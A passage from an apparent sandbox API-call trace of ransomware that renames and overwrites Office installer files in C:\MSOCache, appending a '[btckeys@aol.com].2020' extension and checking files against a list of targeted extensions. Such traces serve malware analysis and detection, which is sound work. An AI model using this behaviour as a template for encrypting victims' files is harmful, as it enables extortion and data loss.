users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0067.190] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=2865664) returned 1 [0067.191] CloseHandle (hObject=0x184) returned 1 [0067.191] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi")) returned 0x2020 [0067.191] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0067.191] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0067.192] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0067.192] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0067.192] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0067.192] ReadFile (in: hFile=0x184, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0067.344] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0067.344] ReadFile (in: hFile=0x184, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0067.443] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0067.443] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0067.443] ReadFile (in: hFile=0x184, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0067.864] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0067.864] WriteFile (in: hFile=0x184, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0068.137] SetEndOfFile (hFile=0x184) returned 1 [0068.137] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f54fa0 [0068.141] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0068.141] WriteFile (in: hFile=0x184, lpBuffer=0x3f54fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f54fa0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0068.151] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0068.151] WriteFile (in: hFile=0x184, lpBuffer=0x3f54fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f54fa0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0068.158] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0068.158] WriteFile (in: hFile=0x184, lpBuffer=0x3f54fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f54fa0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0068.160] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f54fa0 | out: hHeap=0x4b0000) returned 1 [0068.160] CloseHandle (hObject=0x184) returned 1 [0069.556] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0069.571] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0069.571] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0069.572] lstrlenW (lpString=".doc") returned 4 [0069.588] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0069.588] lstrlenW (lpString=".docx") returned 5 [0069.588] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0069.588] lstrlenW (lpString=".pdf") returned 4 [0069.588] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0069.588] lstrlenW (lpString=".xls") returned 4 [0069.588] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0069.588] lstrlenW (lpString=".xlsx") returned 5 [0069.588] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0069.588] lstrlenW (lpString=".ppt") returned 4 [0069.588] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0069.588] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0069.588] lstrlenW (lpString=".zip") returned 4 [0069.588] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0069.588] lstrlenW (lpString=".rar") returned 4 [0069.588] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0069.588] lstrlenW (lpString=".bz2") returned 4 [0069.588] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0069.588] lstrlenW (lpString=".7z") returned 3 [0069.588] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0069.588] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0069.588] lstrlenW (lpString=".dbf") returned 4 [0069.588] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0069.588] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0069.588] lstrlenW (lpString=".1cd") returned 4 [0069.589] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0069.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0069.589] lstrlenW (lpString=".jpg") returned 4 [0069.589] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0069.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0069.589] lstrlenW (lpString=".doc") returned 4 [0069.589] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0069.589] lstrlenW (lpString=".docx") returned 5 [0069.589] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0069.589] lstrlenW (lpString=".pdf") returned 4 [0069.589] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0069.589] lstrlenW (lpString=".xls") returned 4 [0069.589] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0069.589] lstrlenW (lpString=".xlsx") returned 5 [0069.589] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0069.589] lstrlenW (lpString=".ppt") returned 4 [0069.589] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0069.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0069.589] lstrlenW (lpString=".zip") returned 4 [0069.589] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0069.589] lstrlenW (lpString=".rar") returned 4 [0069.589] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0069.589] lstrlenW (lpString=".bz2") returned 4 [0069.589] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0069.589] lstrlenW (lpString=".7z") returned 3 [0069.589] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0069.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0069.589] lstrlenW (lpString=".dbf") returned 4 [0069.589] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0069.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0069.589] lstrlenW (lpString=".1cd") returned 4 [0069.589] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0069.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0069.589] lstrlenW (lpString=".jpg") returned 4 [0069.590] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.590] lstrcmpiW (lpString1=".cab", lpString2=".2020") returned 1 [0069.590] lstrlenW (lpString="Proof.cab") returned 9 [0069.590] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0069.590] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=11482605) returned 1 [0069.590] CloseHandle (hObject=0x184) returned 1 [0069.590] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab")) returned 0x2020 [0069.590] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0069.590] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0069.889] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0069.889] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0069.889] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0069.889] ReadFile (in: hFile=0x184, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0069.892] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0069.893] ReadFile (in: hFile=0x184, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0069.897] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0069.897] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0069.897] ReadFile (in: hFile=0x184, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0069.914] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.914] WriteFile (in: hFile=0x184, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0070.201] SetEndOfFile (hFile=0x184) returned 1 [0070.201] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3ff4fb8 [0070.201] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0070.201] WriteFile (in: hFile=0x184, lpBuffer=0x3ff4fb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ff4fb8*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0070.202] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0070.202] WriteFile (in: hFile=0x184, lpBuffer=0x3ff4fb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ff4fb8*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0070.205] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0070.205] WriteFile (in: hFile=0x184, lpBuffer=0x3ff4fb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ff4fb8*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0070.208] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ff4fb8 | out: hHeap=0x4b0000) returned 1 [0070.209] CloseHandle (hObject=0x184) returned 1 [0073.328] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0073.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0073.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0073.329] lstrlenW (lpString=".doc") returned 4 [0073.329] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0073.329] lstrlenW (lpString=".docx") returned 5 [0073.329] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0073.329] lstrlenW (lpString=".pdf") returned 4 [0073.329] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0073.329] lstrlenW (lpString=".xls") returned 4 [0073.329] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0073.329] lstrlenW (lpString=".xlsx") returned 5 [0073.329] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0073.329] lstrlenW (lpString=".ppt") returned 4 [0073.329] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0073.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0073.329] lstrlenW (lpString=".zip") returned 4 [0073.329] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0073.329] lstrlenW (lpString=".rar") returned 4 [0073.329] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0073.329] lstrlenW (lpString=".bz2") returned 4 [0073.329] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0073.330] lstrlenW (lpString=".7z") returned 3 [0073.330] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0073.330] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0073.330] lstrlenW (lpString=".dbf") returned 4 [0073.330] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0073.330] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0073.330] lstrlenW (lpString=".1cd") returned 4 [0073.330] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0073.330] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0073.330] lstrlenW (lpString=".jpg") returned 4 [0073.330] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0073.330] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0073.330] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0073.330] lstrlenW (lpString=".doc") returned 4 [0073.330] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0073.330] lstrlenW (lpString=".docx") returned 5 [0073.330] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0073.330] lstrlenW (lpString=".pdf") returned 4 [0073.330] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0073.330] lstrlenW (lpString=".xls") returned 4 [0073.330] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0073.330] lstrlenW (lpString=".xlsx") returned 5 [0073.330] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0073.330] lstrlenW (lpString=".ppt") returned 4 [0073.330] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0073.330] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0073.330] lstrlenW (lpString=".zip") returned 4 [0073.331] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0073.331] lstrlenW (lpString=".rar") returned 4 [0073.331] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0073.331] lstrlenW (lpString=".bz2") returned 4 [0073.331] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0073.331] lstrlenW (lpString=".7z") returned 3 [0073.331] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0073.331] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0073.331] lstrlenW (lpString=".dbf") returned 4 [0073.331] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0073.331] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0073.331] lstrlenW (lpString=".1cd") returned 4 [0073.331] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0073.331] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0073.331] lstrlenW (lpString=".jpg") returned 4 [0073.331] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0073.331] lstrcmpiW (lpString1=".msi", lpString2=".2020") returned 1 [0073.331] lstrlenW (lpString="Proofing.msi") returned 12 [0073.331] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0073.332] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=868864) returned 1 [0073.332] CloseHandle (hObject=0x184) returned 1 [0073.333] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 0x2020 [0073.333] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0073.333] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0073.333] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.333] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.333] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0073.333] GetLastError () returned 0x0 [0073.334] ReadFile (in: hFile=0x184, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0073.417] WriteFile (in: hFile=0x168, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0073.696] ReadFile (in: hFile=0x184, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0073.696] WriteFile (in: hFile=0x168, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0073.696] SetEndOfFile (hFile=0x168) returned 1 [0073.696] CloseHandle (hObject=0x168) returned 1 [0073.704] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.704] SetEndOfFile (hFile=0x184) returned 1 [0073.712] CloseHandle (hObject=0x184) returned 1 [0073.712] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0073.712] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 1 [0073.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0073.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0073.713] lstrlenW (lpString=".doc") returned 4 [0073.713] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0073.713] lstrlenW (lpString=".docx") returned 5 [0073.713] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0073.713] lstrlenW (lpString=".pdf") returned 4 [0073.713] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0073.713] lstrlenW (lpString=".xls") returned 4 [0073.713] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0073.713] lstrlenW (lpString=".xlsx") returned 5 [0073.713] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0073.713] 